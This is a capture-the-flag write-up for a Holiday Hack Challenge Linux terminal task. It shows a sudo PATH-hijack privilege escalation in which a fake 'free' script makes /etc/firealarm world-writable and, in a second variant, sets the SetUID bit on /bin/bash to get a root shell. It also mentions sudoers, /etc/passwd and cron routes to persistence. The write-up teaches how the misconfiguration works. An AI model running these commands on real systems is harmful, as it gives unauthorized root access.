Introduction

Neighborhood Watch Bypass

Difficulty:
Assist Kyle at the old data center with a fire alarm that just won't chill.

Kyle Parrish is standing outside the old data center:

image-20251106103546511
Kyle Parrish

Kyle Parrish

If you spot a fire, let me know! I’m Kyle, and I’ve been around the Holiday Hack Challenge scene for years as arnydo - picked up multiple Super Honorable Mentions along the way.

When I’m not fighting fires or hunting vulnerabilities, you’ll find me on a unicycle or juggling - I once showed up a professional clown with his own clubs!

My family and I love exploring those East Tennessee mountains, and honestly, geocaching teaches you a lot about finding hidden things - useful in both firefighting and hacking.

Anyway, I could use some help here. This fire alarm keeps going nuts but there’s no fire. I checked.

I think someone has locked us out of the system. Can you see if you can get back in?

Chat with Kyle Parrish

Congratulations! You spoke with Kyle Parrish!

The terminal opens up Linux terminal with a fire-themed message of the day:

image-20251106104752258

I need to run /etc/firealarm/restore_fire_alarm to complete the challenge.

Solution

Enumeration

Solution Binary

I’m given a shell as the chiuser, which the message say has standard user access only. Their home directory has standard stuff:

🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ ls -la
total 24
drwxr-x--- 1 chiuser chiuser 4096 Oct  8 14:08 .
drwxr-xr-x 1 root    root    4096 Oct  6 22:34 ..
-rw-r--r-- 1 chiuser chiuser  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 chiuser chiuser 3971 Oct  8 14:08 .bashrc
-rw-r--r-- 1 chiuser chiuser  807 Jan  6  2022 .profile
drwxr-xr-x 1 chiuser chiuser 4096 Oct  8 14:08 bin

It’s a bit odd to see a bin directory in the root of home (I would expect that in .local/bin). It’s worth noting that this directory is at the front of the default chiuser’s PATH variable:

🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ echo $PATH
/home/chiuser/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

That means when the OS goes to look for a binary that is called without a full path, it will start there.

The only file in it is runtoanswer, which is a symlink to the file mentioned in the intro text:

🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ ls -l bin/
total 0
lrwxrwxrwx 1 root root 33 Oct  8 14:08 runtoanswer -> /etc/firealarm/restore_fire_alarm

I can’t run it now because the linked to file is in a directory this user can’t access:

🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ ls -l /etc/firealarm/
ls: cannot open directory '/etc/firealarm/': Permission denied
🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ ls -dl /etc/firealarm/
drwx------ 1 root root 4096 Oct  8 14:08 /etc/firealarm/

Sudo

The chiuser user is able to run sudo as root without a password to call the system_status.sh script:

🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ sudo -l
Matching Defaults entries for chiuser on 12746ea4b16d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    secure_path=/home/chiuser/bin\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+="API_ENDPOINT API_PORT RESOURCE_ID HHCUSERNAME", env_keep+=PATH

User chiuser may run the following commands on 12746ea4b16d:
    (root) NOPASSWD: /usr/local/bin/system_status.sh

It’s important to note that the env_keep+=PATH is set, which is very dangerous. I’ll come back to this.

Running the script prints a bunch of system information:

🏠 chiuser @ Dosis Neighborhood ~ 🔍 $ sudo system_status.sh
=== Dosis Neighborhood Fire Alarm System Status ===
Fire alarm system monitoring active...

System resources (for alarm monitoring):
               total        used        free      shared  buff/cache   available
Mem:            31Gi       1.1Gi        25Gi       1.0Mi       4.5Gi        29Gi
Swap:             0B          0B          0B

Disk usage (alarm logs and recordings):
Filesystem      Size  Used Avail Use% Mounted on
overlay         296G   16G  268G   6% /
tmpfs            64M     0   64M   0% /dev
shm              64M     0   64M   0% /dev/shm
/dev/sda1       296G   16G  268G   6% /etc/hosts
tmpfs            16G     0   16G   0% /proc/acpi
tmpfs            16G     0   16G   0% /sys/firmware

Active fire department connections:
 16:00:19 up 18:03,  0 users,  load average: 0.39, 0.35, 0.22
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

Fire alarm monitoring processes:
root          32  0.0  0.0   3472  1572 pts/1    S+   16:00   0:00 grep -E (alarm|fire|monitor|safety)

🔥 Fire Safety Status: All systems operational
🚨 Emergency Response: Ready
📍 Coverage Area: Dosis Neighborhood (all sectors)

The file itself shows what it calls:

#!/bin/bash
echo "=== Dosis Neighborhood Fire Alarm System Status ==="
echo "Fire alarm system monitoring active..."
echo ""
echo "System resources (for alarm monitoring):" 
free -h
echo -e "\nDisk usage (alarm logs and recordings):"
df -h
echo -e "\nActive fire department connections:"
w
echo -e "\nFire alarm monitoring processes:"
ps aux | grep -E "(alarm|fire|monitor|safety)" | head -5 || echo "No active fire monitoring processes detected"
echo ""
echo "🔥 Fire Safety Status: All systems operational"
echo "🚨 Emergency Response: Ready"
echo "📍 Coverage Area: Dosis Neighborhood (all sectors)"

In addition to echoing text, it calls free -h, df -h, w, and ps aux with some grep.

Path Hijack

Strategy

None of the programs in the system_status.sh script are called by full path, which means the OS will rely on the PATH variable of the user to find the things to run. That means if I can get a binary into a directory in the root user’s PATH with one of these names, I can run arbitrary code as root.

But above I noted that sudo is configured with keep+=PATH. That means the PATH from my user (which I control) is passed to root for this call. I could add /tmp to the current path and then use that, but I don’t even need to as the ~/bin directory is already at the front of my PATH and writable.

I’ll show two ways to abuse this.

Change Permissions on /etc/firealarm/

The most straight-forward path to solving this challenge is to change the permissions on the /etc/firealarm directory. I’ll create a Bash script named free in the /home/chiuser/bin directory:

#!/bin/bash

echo "Evil free!"
chmod 777 /etc/firealarm

Now I’ll make it executable, and then run sudo system_status.sh:

🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ chmod +x free 
🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ sudo system_status.sh
=== Dosis Neighborhood Fire Alarm System Status ===
Fire alarm system monitoring active...

System resources (for alarm monitoring):
Evil free!

Disk usage (alarm logs and recordings):
Filesystem      Size  Used Avail Use% Mounted on
overlay         296G   16G  268G   6% /
tmpfs            64M     0   64M   0% /dev
shm              64M     0   64M   0% /dev/shm
/dev/sda1       296G   16G  268G   6% /etc/hosts
tmpfs            16G     0   16G   0% /proc/acpi
tmpfs            16G     0   16G   0% /sys/firmware

Active fire department connections:
 16:13:52 up 18:16,  0 users,  load average: 0.07, 0.13, 0.16
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

Fire alarm monitoring processes:
root          46  0.0  0.0   3472  1568 pts/1    S+   16:13   0:00 grep -E (alarm|fire|monitor|safety)

🔥 Fire Safety Status: All systems operational
🚨 Emergency Response: Ready
📍 Coverage Area: Dosis Neighborhood (all sectors)

It printed “Evil free!” in that section, which shows it did run my code. The firealarm directory is fully accessible now:

🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ ls -ld /etc/firealarm/
drwxrwxrwx 1 root root 4096 Oct  8 14:08 /etc/firealarm/

And I can run the target binary:

🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ ./runtoanswer 
🔥🚨 FIRE ALARM SYSTEM: Attempting to restore admin privileges...
🔒 BYPASSING SECURITY RESTRICTIONS...
📡 Connecting to fire safety control center: https://2025.holidayhackchallenge.com:443/turnstile?rid=73eed19e-ea1e-4362-9c3a-7f60bcccd78d
🎯 SUCCESS! Fire alarm system admin access RESTORED!
🚨 DOSIS NEIGHBORHOOD FIRE PROTECTION: FULLY OPERATIONAL
✅ All fire safety systems are now under proper administrative control
🔥 Emergency response capabilities: ACTIVE
🏠 Neighborhood fire protection: SECURED

======================================================================
   CONGRATULATIONS! You've successfully restored fire alarm system
   administrative control and protected the Dosis neighborhood!
======================================================================

🔥🚨 FIRE ALARM SYSTEM RESTORATION COMPLETE 🚨🔥

SetUID Bash

If I want to go for a full shell, I can enable the SetUID bit on the bash binary. That will make it so that the binary runs as the owner regardless of who runs it. I’ll update my free script:

#!/bin/bash

echo "Evil free!"
chmod +s /bin/bash

Now the bash binary has the s set for the execute place for both owner and group:

🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash

If I just run this, it won’t do what I’m hoping:

🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ bash
bash-5.1$ whoami 
chiuser

Bash has a protection in place where if it sees it’s running with a mismatch between the actual user and the effective user (which is what the SetUID bit sets), it will drop those privileges unless the -p flag is given:

-p Turn on privileged mode. In this mode, the $ENV and $BASH_ENV files are not processed, shell functions are not inherited from the environment, and the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored. If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, these actions are taken and the effective user id is set to the real user id. If the -p option is supplied at startup, the effective user id is not reset. Turning this option off causes the effective user and group ids to be set to the real user and group ids.

That works!

🏠 chiuser @ Dosis Neighborhood ~/bin 🔍 $ bash -p
bash-5.1# id
uid=1000(chiuser) gid=1000(chiuser) euid=0(root) egid=0(root) groups=0(root),1000(chiuser)

Even after getting a fresh instance (resetting the privileges on /etc/firealarm), as root, I can access it:

bash-5.1# ./runtoanswer 
🔥🚨 FIRE ALARM SYSTEM: Attempting to restore admin privileges...
🔒 BYPASSING SECURITY RESTRICTIONS...
📡 Connecting to fire safety control center: https://2025.holidayhackchallenge.com:443/turnstile?rid=00505efd-02cf-481c-b76c-6bffc76a2a89
🚨 CRITICAL ERROR: Unable to connect to fire safety control center!
💥 Error details: Can't connect to HTTPS URL because the SSL module is not available.
🔥 Fire alarm system remains in lockout mode!

🔥🚨 FIRE ALARM SYSTEM RESTORATION COMPLETE 🚨🔥

There are other things I could do to get a shell, like creating a file in /etc/sudoers.d to give chiuser more privileges, adding a fake root user to /etc/passwd, or writing a cron.

Outro

Neighborhood Watch Bypass

Congratulations! You have completed the Neighborhood Watch Bypass challenge!

Kyle is appreciative:

Kyle Parrish

Kyle Parrish

Wow! Thank you so much! I didn’t realize sudo was so powerful. Especially when misconfigured. Who knew a simple privilege escalation could unlock the whole fire safety system?

Now… will you sudo make me a sandwich?

Nice reference to a classic XKCD cartoon:

Sandwich